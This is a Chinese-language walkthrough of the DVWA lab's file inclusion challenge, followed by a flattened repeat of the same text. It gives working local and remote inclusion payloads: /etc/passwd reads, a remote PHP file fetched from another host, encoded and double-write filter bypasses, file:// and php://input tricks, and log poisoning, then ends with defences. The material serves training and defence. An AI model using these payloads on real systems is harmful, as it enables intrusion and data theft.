DVWA靶场之File Inclusion学习分享
字数 2483 2025-08-24 20:49:31

DVWA靶场之File Inclusion漏洞详解

1. 文件包含漏洞概述

文件包含(File Inclusion)漏洞是指服务器通过PHP函数(如include(), require(), include_once(), require_once())包含文件时,未对包含的文件名进行严格过滤,导致攻击者能够包含恶意文件或系统敏感文件。

漏洞类型

  • 本地文件包含(LFI, Local File Inclusion): 包含服务器本地的文件
  • 远程文件包含(RFI, Remote File Inclusion): 包含远程服务器上的文件

2. DVWA靶场中的文件包含漏洞分析

2.1 Low级别漏洞

代码分析

<?php
// The page we wish to display
$file = $_GET['page'];
?>

漏洞点:

  • 直接使用用户输入的page参数,没有任何过滤或检查
  • 可以包含任意本地或远程文件

利用方式

  1. 本地文件包含:

    • 绝对路径: /vulnerabilities/fi/?page=/etc/passwd
    • 相对路径: /vulnerabilities/fi/?page=etc/passwd
  2. 远程文件包含:

    • 直接包含远程PHP文件: http://43.247.91.228:81/vulnerabilities/fi/?page=http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php
    • URL编码绕过: http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
  3. 结合文件上传漏洞:

    • 上传恶意PHP文件后包含: http://43.247.91.228:81/vulnerabilities/fi/?page=http://43.247.91.228:81/hackable/uploads/phpinfo.php

2.2 Medium级别漏洞

代码分析

<?php
// The page we wish to display
$file = $_GET['page'];
// Input validation
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>

防护措施:

  • 过滤http://https://../..\

漏洞点:

  • 使用str_replace函数,可通过双写绕过
  • 未过滤绝对路径

利用方式

  1. 本地文件包含:

    • 绝对路径仍然有效: /vulnerabilities/fi/?page=/etc/passwd
  2. 双写绕过远程包含:

    • page=hthttp://tp://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php
    • 过滤后变为http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php
  3. URL编码绕过:

    • http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
  4. 结合文件上传漏洞:

    • http://43.247.91.228:81/vulnerabilities/fi/?page=hthttp://tp://43.247.91.228:81/hackable/uploads/phpinfo.php

2.3 High级别漏洞

代码分析

<?php
// The page we wish to display
$file = $_GET['page'];
// Input validation
if(!fnmatch("file*", $file) && $file != "include.php") {
    echo "ERROR: File not found!";
    exit;
}
?>

防护措施:

  • 使用fnmatch函数检查page参数必须以"file"开头

漏洞点:

  • 仍然可以通过file://协议包含本地文件

利用方式

  1. file协议利用:
    • http://43.247.91.228:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/phpinfo.php

2.4 Impossible级别防护

代码分析

<?php
// The page we wish to display
$file = $_GET['page'];
// Only allow include.php or file{1..3}.php
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php") {
    echo "ERROR: File not found!";
    exit;
}
?>

防护措施:

  • 使用白名单机制,只允许包含特定文件
  • 彻底杜绝文件包含漏洞

3. 文件包含漏洞的利用技巧

  1. 日志文件包含:

    • 包含Apache日志: /var/log/apache2/access.log
    • 通过User-Agent注入PHP代码
  2. PHP伪协议利用:

    • php://filter/read=convert.base64-encode/resource=index.php
    • php://input + POST数据执行代码
  3. 环境变量包含:

    • /proc/self/environ
  4. 会话文件包含:

    • /tmp/sess_[sessionid]

4. 防御措施

  1. 白名单机制:

    • 只允许包含预定义的文件(如Impossible级别)
  2. 严格过滤:

    • 过滤../http://https://等特殊字符
    • 注意双写和编码绕过问题
  3. 禁用危险函数:

    • 在php.ini中设置allow_url_include=Off
    • 禁用allow_url_fopen
  4. 目录限制:

    • 设置open_basedir限制文件访问范围
  5. 文件验证:

    • 检查包含的文件是否存在预期目录中

5. 总结

文件包含漏洞的危害性取决于服务器的配置和过滤措施。从DVWA的四个级别可以看出,简单的字符串替换无法完全防御文件包含漏洞,最有效的防御方式是采用白名单机制。开发人员应避免直接使用用户输入作为文件包含的参数,或至少进行严格的验证和过滤。

DVWA靶场之File Inclusion漏洞详解 1. 文件包含漏洞概述 文件包含(File Inclusion)漏洞是指服务器通过PHP函数(如include(), require(), include_ once(), require_ once())包含文件时,未对包含的文件名进行严格过滤,导致攻击者能够包含恶意文件或系统敏感文件。 漏洞类型 本地文件包含(LFI, Local File Inclusion) : 包含服务器本地的文件 远程文件包含(RFI, Remote File Inclusion) : 包含远程服务器上的文件 2. DVWA靶场中的文件包含漏洞分析 2.1 Low级别漏洞 代码分析 漏洞点 : 直接使用用户输入的 page 参数,没有任何过滤或检查 可以包含任意本地或远程文件 利用方式 本地文件包含 : 绝对路径: /vulnerabilities/fi/?page=/etc/passwd 相对路径: /vulnerabilities/fi/?page=etc/passwd 远程文件包含 : 直接包含远程PHP文件: http://43.247.91.228:81/vulnerabilities/fi/?page=http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php URL编码绕过: http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70 结合文件上传漏洞 : 上传恶意PHP文件后包含: http://43.247.91.228:81/vulnerabilities/fi/?page=http://43.247.91.228:81/hackable/uploads/phpinfo.php 2.2 Medium级别漏洞 代码分析 防护措施 : 过滤 http:// 、 https:// 、 ../ 和 ..\ 漏洞点 : 使用 str_replace 函数,可通过双写绕过 未过滤绝对路径 利用方式 本地文件包含 : 绝对路径仍然有效: /vulnerabilities/fi/?page=/etc/passwd 双写绕过远程包含 : page=hthttp://tp://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php 过滤后变为 http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php URL编码绕过 : http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70 结合文件上传漏洞 : http://43.247.91.228:81/vulnerabilities/fi/?page=hthttp://tp://43.247.91.228:81/hackable/uploads/phpinfo.php 2.3 High级别漏洞 代码分析 防护措施 : 使用 fnmatch 函数检查 page 参数必须以"file"开头 漏洞点 : 仍然可以通过 file:// 协议包含本地文件 利用方式 file协议利用 : http://43.247.91.228:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/phpinfo.php 2.4 Impossible级别防护 代码分析 防护措施 : 使用白名单机制,只允许包含特定文件 彻底杜绝文件包含漏洞 3. 文件包含漏洞的利用技巧 日志文件包含 : 包含Apache日志: /var/log/apache2/access.log 通过User-Agent注入PHP代码 PHP伪协议利用 : php://filter/read=convert.base64-encode/resource=index.php php://input + POST数据执行代码 环境变量包含 : /proc/self/environ 会话文件包含 : /tmp/sess_[sessionid] 4. 防御措施 白名单机制 : 只允许包含预定义的文件(如Impossible级别) 严格过滤 : 过滤 ../ 、 http:// 、 https:// 等特殊字符 注意双写和编码绕过问题 禁用危险函数 : 在php.ini中设置 allow_url_include=Off 禁用 allow_url_fopen 目录限制 : 设置 open_basedir 限制文件访问范围 文件验证 : 检查包含的文件是否存在预期目录中 5. 总结 文件包含漏洞的危害性取决于服务器的配置和过滤措施。从DVWA的四个级别可以看出,简单的字符串替换无法完全防御文件包含漏洞,最有效的防御方式是采用白名单机制。开发人员应避免直接使用用户输入作为文件包含的参数,或至少进行严格的验证和过滤。